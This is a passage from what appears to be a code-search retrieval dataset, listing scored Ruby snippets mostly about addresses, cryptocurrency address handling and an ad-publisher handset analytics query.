"text": "def receiver_addr\n case \n when @receiver_addr then @receiver_addr\n when create_txid then @sender_addr\n when latitude && longitude && radius\n receiver_addr_base = ('%s%09d%09d%06d' % [\n (blockchain.is_testing?) ? 'mfZ' : ('1' + BitcoinConnection::PREFIX),\n latlon_to_integer(latitude.to_f), \n latlon_to_integer(longitude.to_f, 180), \n radius.abs ]).tr('0','X')\n\n # The x's pad the checksum component for us to ensure the base conversion\n # produces the correct output. Similarly, we ignore them after the decode:\n hex_address = Bitcoin.decode_base58(receiver_addr_base+'XXXXXXX')[0...42]\n\n hash160 = [hex_address].pack('H*')\n \n # Bitcoin-ruby has a method to do much of this for us, but it is \n # broken in that it only supports main-net addresses, and not testnet3\n checksum = Digest::SHA256.digest(Digest::SHA256.digest(hash160))[0,4]\n \n # Return the checksum'd receiver_addr\n Bitcoin.encode_base58((hash160 + checksum).unpack('H*').first)\n else \n nil\n end\n end",
"title": ""
},
{
"docid": "73f06cc65bdbe03eebf45b030057978e",
"score": "0.5730132",
"text": "def address\n return @address\n end",
"title": ""
},
{
"docid": "2a957b658d97b7bef43a4fc7a6d7f810",
"score": "0.57147276",
"text": "def address\n @address ||= @body[:address]\n end",
"title": ""
},
{
"docid": "2a957b658d97b7bef43a4fc7a6d7f810",
"score": "0.57147276",
"text": "def address\n @address ||= @body[:address]\n end",
"title": ""
},
{
"docid": "92830a7f68507c448f3ef7899cba5e63",
"score": "0.5712305",
"text": "def get_address\n address = \"\"\n address = address + @json_stock[\"summaryProfile\"][\"address1\"]\n address = address + \", \" + @json_stock[\"summaryProfile\"][\"city\"]\n address = address + \", \" + @json_stock[\"summaryProfile\"][\"state\"]\n address = address + \" \" + @json_stock[\"summaryProfile\"][\"zip\"]\n @address = address\n @address\n end",
"title": ""
},
{
"docid": "c79e1c8eaa0d9a065ef1ffdb594df6c9",
"score": "0.5687394",
"text": "def address\n return @address\n end",
"title": ""
},
{
"docid": "d5baddf397de7552baa9be71f88817e3",
"score": "0.56714183",
"text": "def inspect\n parse unless @parsed\n \"#<#{self.class}:#{self.object_id} Address: |#{to_s}| >\"\n end",
"title": ""
},
{
"docid": "7343449bee06594957fd1219df1b7062",
"score": "0.5657692",
"text": "def info()\n @client.invoice_address.info()\n end",
"title": ""
},
{
"docid": "247514f5731a65d3a3c46f4a5f863d4d",
"score": "0.565311",
"text": "def xrp_balance\n obj = Ripple::Model::AccountInfo.new\n obj.response = account_info\n obj.response.raise_errors\n obj.balance\n end",
"title": ""
},
{
"docid": "58b433de27dcdf104ed6e589b01a13f4",
"score": "0.5640901",
"text": "def address_result\n params['AddressResult']\n end",
"title": ""
},
{
"docid": "3834cb73d443fda4045dc71fd2b53a42",
"score": "0.56383175",
"text": "def address\n return @address\n end",
"title": ""
},
{
"docid": "0f15de4a4c223e864f5090b279a2fd0b",
"score": "0.5614831",
"text": "def parse_address_information(xml)\n i = 0\n list_of_verified_addresses = []\n (Hpricot.parse(xml)/:address).each do |address|\n i+=1\n h = {}\n #Check if there was an error in an address element\n if address.search(\"error\") != []\n RAILS_DEFAULT_LOGGER.info(\"Address number #{i} has the error '#{address.search(\"description\").inner_html}' please fix before continuing\")\n\n return \"Address number #{i} has the error '#{address.search(\"description\").inner_html}' please fix before continuing\"\n end\n if address.search(\"ReturnText\") != []\n h[:verified] = false\n else\n h[:verified] =true\n end\n address.children.each { |elem| h[elem.name.to_sym] = elem.inner_text unless elem.inner_text.blank? }\n list_of_verified_addresses << h\n end\n #Check if there was an error in the basic XML formating\n if list_of_verified_addresses == []\n error =Hpricot.parse(xml)/:error\n return error.search(\"description\").inner_html\n end\n return list_of_verified_addresses\n end",
"title": ""
},
{
"docid": "3b9186745f1577be680abed062fc5453",
"score": "0.5602218",
"text": "def to_s\n address\n end",
"title": ""
},
{
"docid": "7413962acef2960f9f5c25f70649781f",
"score": "0.55890954",
"text": "def address(recycle_hash)\n return recycle_hash[\"address\"]\nend",
"title": ""
},
{
"docid": "a1f6785af22a021da2e37aeba1371b2c",
"score": "0.55805075",
"text": "def residence_address=(value)\n @residence_address = value\n end",
"title": ""
},
{
"docid": "1de239c5c02c8bac37c0581889c08ddd",
"score": "0.55682385",
"text": "def address\n details.values_at(*%w(Address1 Address2 City State)).compact.join(', ') + \n \" #{details['ZipCode']}\"\n end",
"title": ""
},
{
"docid": "1e232cbedf9638c79ccf910ce10bf59c",
"score": "0.5564736",
"text": "def get_full_address\n\t\tself.address.get_full_address\n\tend",
"title": ""
},
{
"docid": "a65a58ed3a034013dcb0167312cfda73",
"score": "0.5553942",
"text": "def payer_street_address(*options)\n\t\t\tpayer_address_one\n\t\tend",
"title": ""
},
{
"docid": "be058dd93cb1f18bf6508bfea5fb3758",
"score": "0.55506337",
"text": "def relay_i_p_address\n return @relay_i_p_address\n end",
"title": ""
},
{
"docid": "dc1574829e82482d70cff5949a95cb50",
"score": "0.5545132",
"text": "def address\n @dependents_application['student_address_marriage_tuition']['address']\n end",
"title": ""
},
{
"docid": "1d3dec85c6f82b4465920b010fe8d425",
"score": "0.5532966",
"text": "def inspect\n \"<#{self.class.name} resolved_address=#{@resolved_address.inspect}>\"\n end",
"title": ""
},
{
"docid": "2fe80681cfb856a5b7d58b50886e684a",
"score": "0.55324775",
"text": "def address_info\n (enrichments.latest_created_at.with_address_info.first || self)\n .attributes_before_type_cast\n .slice('address1', 'address2', 'address3', 'address4', 'postcode', 'region_code')\n end",
"title": ""
},
{
"docid": "46aec1c60df8a2c224c4bc717808456f",
"score": "0.55298597",
"text": "def to_s\n @address\n end",
"title": ""
},
{
"docid": "3febb14c9955aa47cc31787acd414d00",
"score": "0.5518747",
"text": "def addresses\n\t\t\t@jr.listreceivedbyaddress(0, true).map do |addr_info|\n\t\t\t\tget_address(addr_info.fetch('address'))\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "822a16289608683b72f94f3391d917c9",
"score": "0.55154026",
"text": "def address_info\n if @company.address.blank?\n return \"\"\n end\n address = ''\n address = @company.address.address_line1 + \", <br/>\" unless @company.address.address_line1.blank?\n # address += @company.address.address_line2 + \", <br/>\" unless @company.address.address_line2.blank?\n # address += @company.address.city + \" , \" unless @company.address.city.blank?\n # address += @company.address.state + \", <br/>\" unless @company.address.state.blank?\n # address += @company.address.country + \" - \" unless @company.address.country.blank?\n # address += @company.address.postal_code + \"<br/>\" unless @company.address.postal_code.blank?\n end",
"title": ""
},
{
"docid": "19c8aa5047edfc44ff8c95efdb1a0c5b",
"score": "0.5492915",
"text": "def main_address\n addresses.first\n end",
"title": ""
},
{
"docid": "94a81072e14edb74b757171f34706261",
"score": "0.5462573",
"text": "def address\n if addresses.size > 0\n return addresses.last\n end\n nil\n end",
"title": ""
},
{
"docid": "e55ec04954d03f7443219bcf2a6ccc8e",
"score": "0.546197",
"text": "def get_address_op_returns(address)\n url = \"/#{API_VERSION}/#{block_chain}/addresses/#{address}/op-returns\"\n @conn.get(url)\n end",
"title": ""
},
{
"docid": "c4b7c1c271dc459e4c58f8a83d67b366",
"score": "0.54595345",
"text": "def address_info(address:)\n url = [DEFAULT_API_URL, 'addressInfo'].join('/')\n\n params = { address: address }\n response = connection.get(url, params)\n return Hashie::Mash.new(MultiJson.load(response.body)).data if response.success?\n end",
"title": ""
},
{
"docid": "87f797c7d1a7af1bd91b20626f050dfa",
"score": "0.54593277",
"text": "def full_address\n address\n end",
"title": ""
},
{
"docid": "e9619af1410252ea13652d7b9027e00c",
"score": "0.5451866",
"text": "def address\n @o_adapter[I_ADAPTER]['Address']\n end",
"title": ""
},
{
"docid": "68fa77804146f196126bd2db9f135921",
"score": "0.5419089",
"text": "def primary_address\n # TODO add a primary address attr once multiple are supported\n addresses.first\n end",
"title": ""
},
{
"docid": "41b8a21601daf65fe8fe0ce29ff97892",
"score": "0.5416975",
"text": "def inspect\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Api.V2010.AddressContext #{context}>\"\n end",
"title": ""
},
{
"docid": "b3f30ae3ef3669b42082fc9d8bff3d81",
"score": "0.5415148",
"text": "def address_1\n @data['address1']\n end",
"title": ""
},
{
"docid": "0190199f16799277978fced4c2d2cc53",
"score": "0.5413164",
"text": "def address\n return self.address\n end",
"title": ""
},
{
"docid": "92a072175599e44889ae7f343e946201",
"score": "0.5408088",
"text": "def address\n @address = @xml.at('Ip').inner_text\n end",
"title": ""
},
{
"docid": "3302617dc86160b1b2b3f2c30dd0f853",
"score": "0.5389374",
"text": "def order_ship_address_lines\n order.ship_address.try(:full_address_array)\n end",
"title": ""
},
{
"docid": "d72855bbc3536ead02471efb523092c6",
"score": "0.5389239",
"text": "def get_address(address)\n @conn.get(\"/#{API_VERSION}/#{block_chain}/addresses/#{address}\")\n end",
"title": ""
},
{
"docid": "9affbc66c8f4a287e3d42d57e44909f1",
"score": "0.5389037",
"text": "def list_xrp__ripple_transactions_by_address_with_http_info(network, address, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: XRPRippleApi.list_xrp__ripple_transactions_by_address ...'\n end\n # verify the required parameter 'network' is set\n if @api_client.config.client_side_validation && network.nil?\n fail ArgumentError, \"Missing the required parameter 'network' when calling XRPRippleApi.list_xrp__ripple_transactions_by_address\"\n end\n # verify enum value\n allowable_values = [\"mainnet\", \"testnet\"]\n if @api_client.config.client_side_validation && !allowable_values.include?(network)\n fail ArgumentError, \"invalid value for \\\"network\\\", must be one of #{allowable_values}\"\n end\n # verify the required parameter 'address' is set\n if @api_client.config.client_side_validation && address.nil?\n fail ArgumentError, \"Missing the required parameter 'address' when calling XRPRippleApi.list_xrp__ripple_transactions_by_address\"\n end\n allowable_values = [\"account-set\", \"account-delete\", \"check-cancel\", \"check-cash\", \"check-create\", \"deposit-preauth\", \"escrow-cancel\", \"escrow-create\", \"escrow-finish\", \"offer-cancel\", \"offer-create\", \"payment\", \"payment-channel-claim\", \"payment-channel-create\", \"payment-channel-fund\", \"set-regular-key\", \"signer-list-set\", \"ticket-create\", \"trust-set\"]\n if @api_client.config.client_side_validation && opts[:'transaction_type'] && !allowable_values.include?(opts[:'transaction_type'])\n fail ArgumentError, \"invalid value for \\\"transaction_type\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/blockchain-data/xrp-specific/{network}/addresses/{address}/transactions'.sub('{' + 'network' + '}', CGI.escape(network.to_s)).sub('{' + 'address' + '}', CGI.escape(address.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'context'] = opts[:'context'] if !opts[:'context'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'transactionType'] = opts[:'transaction_type'] if !opts[:'transaction_type'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ListXRPRippleTransactionsByAddressR'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['ApiKey']\n\n new_options = opts.merge(\n :operation => :\"XRPRippleApi.list_xrp__ripple_transactions_by_address\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: XRPRippleApi#list_xrp__ripple_transactions_by_address\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "5a92044ecd316f646b36f4fceb5a145e",
"score": "0.5385128",
"text": "def get_addr(address)\n get(\"address/\" + address + \"?format=json\")\n end",
"title": ""
},
{
"docid": "826db22879b94b0472344a9c39a0f70d",
"score": "0.5369725",
"text": "def getaccountaddress(account)\n dogecoin.getaccountaddress account\n end",
"title": ""
},
{
"docid": "42aca36f73c3c0423bf83c2b75944b23",
"score": "0.5367026",
"text": "def parse_address\n addr = @document.xpath(\"//*[@id='details']/div[2]/div[2]/div/div[1]/div\").to_s.split('<br>')\n addr[0].slice! \"<div class=\\\"adr\\\">\\n\"\n street = addr[0].gsub(/ /, '')\n\n if addr[2]\n location = addr[1]\n addr[2].slice! \"</div>\"\n zip = addr[2].gsub(/\\s+/, '')\n else\n addr[1].slice! \"</div>\"\n location = addr[1].gsub(/ /, '')\n zip = nil\n end\n\n return street, location, zip\n end",
"title": ""
},
{
"docid": "2e65b731b36354c1f916c73d4b22599f",
"score": "0.5359052",
"text": "def address_fields\n address = @order.ship_address\n house_number, street = address.address1.split(\" \", 2)\n {\n street: street,\n house_number_or_name: house_number,\n city: address.city,\n postal_code: address.zipcode,\n country: address.country.iso,\n }\n end",
"title": ""
},
{
"docid": "af7c6c5cd2e3696294b5c5a67443481d",
"score": "0.53585285",
"text": "def taxpayer_address\n options = { sub_object_attribute: :taxpayers, loop: :taxpayer_details }\n options[:address_not_required] = :same_address if params[:sub_object_index].to_i != 1\n\n wizard_address_step(NEW_STEPS, options)\n end",
"title": ""
},
{
"docid": "609f93ae9f59e44adf64c968702e3795",
"score": "0.5352648",
"text": "def parse_address_information(xml)\n doc = Nokogiri::XML(xml)\n list_of_verified_addresses = []\n doc.xpath(\"//Address|//ZipCode\").each_with_index do |address, i|\n h = {}\n raise(USPSResponseError,\"Address number #{i} has the error '#{address.search(\"Description\").inner_html}' please fix before continuing\") unless doc.search(\"Error\").empty?\n address.children.each { |elem| h[elem.name.downcase.to_sym] = elem.inner_text unless elem.inner_text.empty? }\n list_of_verified_addresses << h\n end\n #Check if there was an error in the basic XML formating\n return list_of_verified_addresses\n end",
"title": ""
},
{
"docid": "d2101e8cea0b581522a9cab1faf80c53",
"score": "0.5350445",
"text": "def address\n return \"#{address1}, #{address2}, #{address3}\"\n # @address\n end",
"title": ""
},
{
"docid": "a24f69937643dc3bec96ba6f791c6b3a",
"score": "0.53419703",
"text": "def get_buyeraddress(order)\n coder = HTMLEntities.new\n return with_fire(order.bill_address.address1, :named)\n end",
"title": ""
},
{
"docid": "3e8f0d17c67e70ffda30535d154e0c9e",
"score": "0.53418696",
"text": "def address\n Address.where(id: object.address_id)[0]\n end",
"title": ""
},
{
"docid": "303522bd46fe57711bbba0f94821d00a",
"score": "0.533837",
"text": "def contact_address\n details? ? details[\"Contact\"][\"address1\"] : ''\n end",
"title": ""
},
{
"docid": "6365cecbb0e647ebea7927fa9eb64c1f",
"score": "0.53378075",
"text": "def getnewaddress(account = nil)\n dogecoin.getnewaddress account\n end",
"title": ""
},
{
"docid": "637686089bd5f6adcf304e1f18f45466",
"score": "0.5336666",
"text": "def inspect\n \"<#{self.class.name} resolved_address=#{address.resolved.inspect}>\"\n end",
"title": ""
},
{
"docid": "ba1e5a5f622a533c7a1ef2e9cc043c0f",
"score": "0.53321916",
"text": "def getnewaddress(account = nil)\n bitcoin.getnewaddress account\n end",
"title": ""
},
{
"docid": "3d4d04940b71626660189ba4e18a4fb0",
"score": "0.532363",
"text": "def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Api.V2010.AddressInstance #{values}>\"\n end",
"title": ""
},
{
"docid": "de45315639c0e0ce0e4ddf341de9ca21",
"score": "0.53205085",
"text": "def scrape_address\n address_root = info_root.css('div[itemprop=\"address\"] b span')\n address_details = address_root.map { |e| extract_address_element(e) }\n @address = address_details.to_h\n end",
"title": ""
},
{
"docid": "80ed3a619d7392143a24181e8d5beee7",
"score": "0.53169954",
"text": "def full_address\n return \"#{address_line_1}, #{zipcode}, #{city}, #{country}\"\n end",
"title": ""
},
{
"docid": "008beabc8dc3d6d1f3f73acd286a82b5",
"score": "0.5316682",
"text": "def applicant_display_address_street\n dets = self['address_details']\n \"#{dets['address_line_1']}, #{dets['city']}, #{dets['state'][0..1]} #{dets['zip_code']}\".upcase\n end",
"title": ""
},
{
"docid": "45f7b1dbacbbd21e6b294e4c7344b932",
"score": "0.5313282",
"text": "def address_4\n @data['address4']\n end",
"title": ""
},
{
"docid": "cb2b5aa5b92edb90389d10fdfe3c01f0",
"score": "0.53129786",
"text": "def address\n self.name + \", \" + self.street + \", \" + self.postcode\n end",
"title": ""
},
{
"docid": "deeca4d35caff8d767ae4f4565cb0092",
"score": "0.5309096",
"text": "def full_address\n addr = self.address_one\n if (self.apt_num)\n addr+= (\" \"+self.apt_num)\n end\n if (self.address_two) \n addr+=\"\\n\"\n addr+=self.address_two\n end\n addr+=\"\\n\"\n addr+=self.city+\", \"+self.state+\", \"+self.zip\n end",
"title": ""
},
{
"docid": "f5954443c5cde0e7fe7a981984a0f9e7",
"score": "0.53020185",
"text": "def extended_address\n remaining_address * ', ' unless remaining_address.empty?\n end",
"title": ""
},
{
"docid": "d173485e961f3399ad8fa5399bc99864",
"score": "0.52985555",
"text": "def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Api.V2010.AddressInstance #{values}>\"\n end",
"title": ""
},
{
"docid": "a545ec294d0e0b28cd9c29c38d733a0a",
"score": "0.52937055",
"text": "def full_address\n @address[:street] + ', ' + @address[:city] + ', ' + @address[:state] + ' ' + @address[:zipcode]\n end",
"title": ""
},
{
"docid": "32b0224d164443b2a3d747f09dc2ec45",
"score": "0.529135",
"text": "def address\n unless @address\n address_array = get_address\n @address = address_array.join ', '\n end\n @address\n end",
"title": ""
},
{
"docid": "a0f7fe26fb8ee17fea1d90152b3dde21",
"score": "0.52881086",
"text": "def address\r\n if(house && street && postcode)\r\n return house + \" \" + street + \", \" + postcode\r\n else\r\n return nil\r\n end\r\n end",
"title": ""
},
{
"docid": "28aa671d38d907c8e23778a81981c56c",
"score": "0.5277555",
"text": "def get_number_and_street(raw_address)\n parsable_address = Indirizzo::Address.new(raw_address)\n return [parsable_address.number, parsable_address.street.first]\n end",
"title": ""
},
{
"docid": "d75cff4db47f1f79565a583af720e256",
"score": "0.52732754",
"text": "def police_conctract_address\n return PoliceContract.first.contract_address if PoliceContract.count > 0\n\n client = Ethereum::HttpClient.new(Rails.configuration.parity_json_rpc_url)\n client.gas_price = 0\n contract = Ethereum::Contract.create(file: \"smartcontracts/PoliceMapping.sol\", client: client)\n contract.key = Rails.configuration.eth_deploy_key\n contract.deploy_and_wait\n pc = PoliceContract.create(contract_address: contract.address, contract_abi: contract.abi)\n pc.contract_address\n end",
"title": ""
},
{
"docid": "ba5df0ac7877335e0948b1bb12c705fb",
"score": "0.52722794",
"text": "def address\n {\n 'address1' => address1,\n 'address2' => address2,\n 'city' => city,\n 'zip' => zip,\n 'province_code' => state,\n 'country_code' => 'US',\n 'phone' => phone,\n }\n end",
"title": ""
},
{
"docid": "cbaf8367ee00ee1f5d7fef938d911fba",
"score": "0.52646947",
"text": "def address\n results = find_all_by_keys(\"Address\").compact.uniq\n end",
"title": ""
},
{
"docid": "d24964d489e341ca31bbb133a532d74d",
"score": "0.5263954",
"text": "def bitcoin_deposit_address\n private_request 'bitcoin_deposit_address'\n end",
"title": ""
},
{
"docid": "9caed3f2f34ebf76181c0fba1ed3f54a",
"score": "0.5261089",
"text": "def reflexive_i_p_address\n return @reflexive_i_p_address\n end",
"title": ""
},
{
"docid": "45802834d872e1cd64da0ceedc99ce01",
"score": "0.52560633",
"text": "def addresses\n\t\t\t@bc.jr.getaddressesbyaccount(@name).map(&@bc.method(:get_address))\n\t\tend",
"title": ""
}
] |
64b094a043452ebbb65282aa80446f03 | Method Name: publisher_handset_model Purpose:this method to construct publisher handset chart Version: 1.0 Author:Md Shujauddeen A Last Modified: 07Oct2009 by Md Shujauddeen Notes: None. | [
{
"docid": "3d98d8de2ee5ad06059f208dd96669ca",
"score": "0.5059345",
"text": "def publisher_handset_model\n begin\n @aes = AESSecurity.new() #creating an object for AES Security\n if (session[:user_id]==nil)\n flash[:notice]=\"Your session has expired. Please login again.\"\n redirect_to :controller=>'login', :action=>'login'\n else\n if @aes.checkSecurity(session[:user_id],session[:key],session[:iv],1,0)==0\n # @handset_report = session[:xml_string]\n @smartLable='1' #1 represent smartLable as Enabled\n session[:handset]=params[:handset] if params[:handset]!=nil && params[:handset]!=''\n @handset=session[:handset] #initialize handset code from params\n @handset=@handset.gsub(/[~]/,'&')\n @XML_handset_report=@@pub_obj.generate_query(\"#{session[:pub_id]}-#{session[:filled]}\",'pub_handsets','Pie_chart','handset_model','impressions',session[:report_adclient],session[:report_start_on],session[:report_end_on],@smartLable,'admin_analytic',@handset)\n #initialize start and end date\n @startdate=Time.parse(session[:report_start_on]).strftime('%Y-%m-%d')\n @enddate=Time.parse(session[:report_end_on]).strftime('%Y-%m-%d')\n @page= params[:page]\n verifyDBconnection\n filter_column=session[:filled]=='filled' ? \"and impressions>0\" : session[:filled]=='unfilled' ? \"and fill_rate>0\" : \"and (impressions>0 or fill_rate>0)\"\n @adclient_type=(session[:report_adclient]!='SMS' and session[:report_adclient]!='WAP')? \" and client_id=#{session[:report_adclient]}\" : \"\"\n #frame query to get the devices summary report.\n sub_query=\"select #{session[:filled]=='filled' ? \"sum(impressions)\" : session[:filled]=='unfilled' ? \"sum(fill_rate)\" : \"(sum(impressions)+sum(fill_rate))\"} from pub_handsets where pub_id =#{session[:pub_id]} and delivery_date>='#{(Time.parse(@startdate)).strftime(\"%Y-%m-%d\")} 00:00:00' and delivery_date<='#{(Time.parse(@enddate)).strftime(\"%Y-%m-%d\")} 23:59:59' and handset='#{@handset}' #{filter_column}\" \n sub_query+=\" #{@adclient_type}\"\n query= \"select handset_model, #{session[:filled]=='filled' ? \"sum(impressions)\" : session[:filled]=='unfilled' ? \"sum(fill_rate)\" : \"(sum(impressions)+sum(fill_rate))\"} as sum_requests,(#{session[:filled]=='filled' ? \"sum(impressions)\" : session[:filled]=='unfilled' ? \"sum(fill_rate)\" : \"(sum(impressions)+sum(fill_rate))\"}/(#{sub_query})*100) as handset_percentage from pub_handsets where pub_id =#{session[:pub_id]} and delivery_date>='#{@startdate} 00:00:00' and delivery_date<='#{@enddate} 23:59:59' and handset='#{@handset}' #{filter_column}\" \n query+=\" #{@adclient_type}\"\n query+= \" group by handset_model order by sum_requests desc\"\n #following code is used to retrive recordset from database.\n @handsetdata_pages, @handsetdata = paginate_by_sql AdclientsSummary,query,10\n render :action =>'publisher_handset_model' \n else\n flash[:notice]=\"Your are not an authorized user. Please login with different username.\"\n redirect_to :controller=>'login', :action=>'login'\n end\n end\n rescue Exception=>e\n puts \"DEBUG :: ERROR :: in Admin analytic controller :: publisher_handset method :: #{e.to_s}\"\n end\n end",
"title": ""
}
] | [
{
"docid": "906022a80d7d2b09b977e1d8f2f5b4a2",
"score": "0.5505882",
"text": "def as_hqmf_model\n json = {\n \"id\" => self.measure_id,\n \"title\" => self.title,\n \"description\" => self.description,\n \"population_criteria\" => self.population_criteria,\n \"data_criteria\" => self.data_criteria,\n \"source_data_criteria\" => self.source_data_criteria,\n \"measure_period\" => self.measure_period,\n \"attributes\" => self.measure_attributes,\n \"populations\" => self.populations,\n \"hqmf_id\" => self.hqmf_id,\n \"hqmf_set_id\" => self.hqmf_set_id,\n \"hqmf_version_number\" => self.hqmf_version_number,\n \"cms_id\" => self.cms_id\n }\n HQMF::Document.from_json(json)\n end",
"title": ""
},
{
"docid": "5e3d8dc5c3e597ed5518ca2150d8daef",
"score": "0.5406499",
"text": "def as_hqmf_model\n json = {\n 'id' => hqmf_id,\n 'title' => title,\n 'description' => description,\n 'population_criteria' => population_criteria,\n 'data_criteria' => data_criteria,\n 'source_data_criteria' => source_data_criteria,\n 'measure_period' => measure_period,\n 'attributes' => measure_attributes,\n 'populations' => populations,\n 'hqmf_id' => hqmf_id,\n 'hqmf_set_id' => hqmf_set_id,\n 'hqmf_version_number' => hqmf_version_number,\n 'cms_id' => cms_id\n }\n HQMF::Document.from_json(json)\n end",
"title": ""
},
{
"docid": "b0b784ab68ebb1fe56a0035659c8792d",
"score": "0.5372121",
"text": "def create\n @modelset = Modelset.new(modelset_params)\n\n respond_to do |format|\n if @modelset.save\n format.html { redirect_to @modelset, notice: 'Modelset was successfully created.' }\n format.json { render :show, status: :created, location: @modelset }\n else\n format.html { render :new }\n format.json { render json: @modelset.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "30491466990207fa013882da1cea5909",
"score": "0.5104345",
"text": "def modeler_description\n return \"It will be used for calibration of WaterHeaterMixed. User can choose between a SINGLE WaterHeaterMixed or ALL the WaterHeaterMixed objects.\"\n end",
"title": ""
},
{
"docid": "c3fcdb09188b35b0d593ee25c3b89576",
"score": "0.5079684",
"text": "def create\n# binding.pry\n @weight_set = WeightSet.new(weight_set_params)\n\n respond_to do |format|\n if @weight_set.save\n format.html { redirect_to @weight_set, notice: 'Weight set was successfully created.' }\n format.json { render :show, status: :created, location: @weight_set }\n else\n format.html { render :new }\n format.json { render json: @weight_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ae87eee2e39b02c594ea955f565d9b65",
"score": "0.5038366",
"text": "def to_model\n dcs = all_data_criteria.collect(&:to_model)\n pcs = all_population_criteria.collect(&:to_model)\n sdc = source_data_criteria.collect(&:to_model)\n HQMF::Document.new(@id, @id, @hqmf_set_id, @hqmf_version_number, @cms_id,\n title, description, pcs, dcs, sdc,\n @attributes, @measure_period, @populations)\n end",
"title": ""
},
{
"docid": "5197a8bf790f484dd800c215cae01a70",
"score": "0.5031647",
"text": "def set_handbook\n @handbook = Handbook.find(params[:id])\n end",
"title": ""
},
{
"docid": "2ba7aed851c0d5566019da658ba2281b",
"score": "0.49939787",
"text": "def modeler_description\n return 'Any generators, inverters, or electric load center distribution objects are removed. An electric load center distribution object is created, along with pvwatts generator and inverter objects. The generator is added to the electric load center distribution object and the inverter is set.'\n end",
"title": ""
},
{
"docid": "1600364520ce599c5575b4be750b1856",
"score": "0.49690816",
"text": "def lhs_model; end",
"title": ""
},
{
"docid": "ed267542e1974823ef5d776237835d9c",
"score": "0.49604112",
"text": "def create\n\t\t@housing_set = HousingSet.new(housing_set_params)\n\n\t\trespond_to do |format|\n\t\t\tif @housing_set.save\n\t\t\t\tformat.html { redirect_to housing_sets_path, notice: 'Housing set was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @housing_set }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @housing_set.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "07caeb2d5aeac7897a8ded8e7c904c2e",
"score": "0.49587873",
"text": "def publisher_handset_model\n begin\n @aes = AESSecurity.new() #creating an object for AES Security\n if (session[:user_id]==nil)\n flash[:notice]=\"Your session has expired. Please login again.\"\n redirect_to :controller=>'login', :action=>'login'\n else\n \n if @aes.checkSecurity(session[:user_id],session[:key],session[:iv],5,0)==0\n # @handset_report = session[:xml_string]\n @smartLable='1' #1 represent smartLable as Enabled\n session[:handset]=params[:handset] if params[:handset]!=nil && params[:handset]!=''\n @handset=session[:handset] #initialize handset code from params\n @handset=@handset.gsub(/[~]/,'&')\n @XML_handset_report=@@obj.generate_query(\"#{session[:pub_id]}-#{session[:filled]}\",'pub_handsets','Pie_chart','handset_model','impressions',session[:report_adclient],session[:report_start_on],session[:report_end_on],@smartLable,'publisher_analytic',@handset)\n #initialize start and end date\n @startdate=Time.parse(session[:report_start_on]).strftime('%Y-%m-%d')\n @enddate=Time.parse(session[:report_end_on]).strftime('%Y-%m-%d')\n @page= params[:page]\n verifyDBconnection\n filter_column=session[:filled]=='filled' ? \"and impressions>0\" : session[:filled]=='unfilled' ? \"and fill_rate>0\" : \"and (impressions>0 or fill_rate>0)\"\n @adclient_type=(session[:report_adclient]!='SMS' and session[:report_adclient]!='WAP')? \" and client_id=#{session[:report_adclient]}\" : \"\"\n #frame query to get the devices summary report.\n sub_query=\"select #{session[:filled]=='filled' ? \"sum(impressions)\" : session[:filled]=='unfilled' ? \"sum(fill_rate)\" : \"(sum(impressions)+sum(fill_rate))\"} from pub_handsets where pub_id =#{session[:pub_id]} and delivery_date>='#{(Time.parse(@startdate)).strftime(\"%Y-%m-%d\")} 00:00:00' and delivery_date<='#{(Time.parse(@enddate)).strftime(\"%Y-%m-%d\")} 23:59:59' and handset='#{@handset}' #{filter_column}\" \n sub_query+=\" #{@adclient_type}\"\n query= \"select handset_model, #{session[:filled]=='filled' ? \"sum(impressions)\" : session[:filled]=='unfilled' ? \"sum(fill_rate)\" : \"(sum(impressions)+sum(fill_rate))\"} as sum_requests,(#{session[:filled]=='filled' ? \"sum(impressions)\" : session[:filled]=='unfilled' ? \"sum(fill_rate)\" : \"(sum(impressions)+sum(fill_rate))\"}/(#{sub_query})*100) as handset_percentage from pub_handsets where pub_id =#{session[:pub_id]} and delivery_date>='#{@startdate} 00:00:00' and delivery_date<='#{@enddate} 23:59:59' and handset='#{@handset}' #{filter_column}\" \n query+=\" #{@adclient_type}\"\n query+= \" group by handset_model order by sum_requests desc\"\n #following code is used to retrive recordset from database.\n @handsetdata_pages, @handsetdata = paginate_by_sql AdclientsSummary,query,10\n render :action =>'publisher_handset_model' \n else\n flash[:notice]=\"Your are not an authorized user. Please login with different username.\"\n redirect_to :controller=>'login', :action=>'login'\n end\n end\n rescue Exception=>e\n puts \"DEBUG :: ERROR :: in Publisher analytic controller :: publisher_handset method :: #{e.to_s}\"\n end\n end",
"title": ""
},
{
"docid": "cca6e7508a05a7dc6ea0fbde4213b93f",
"score": "0.48965082",
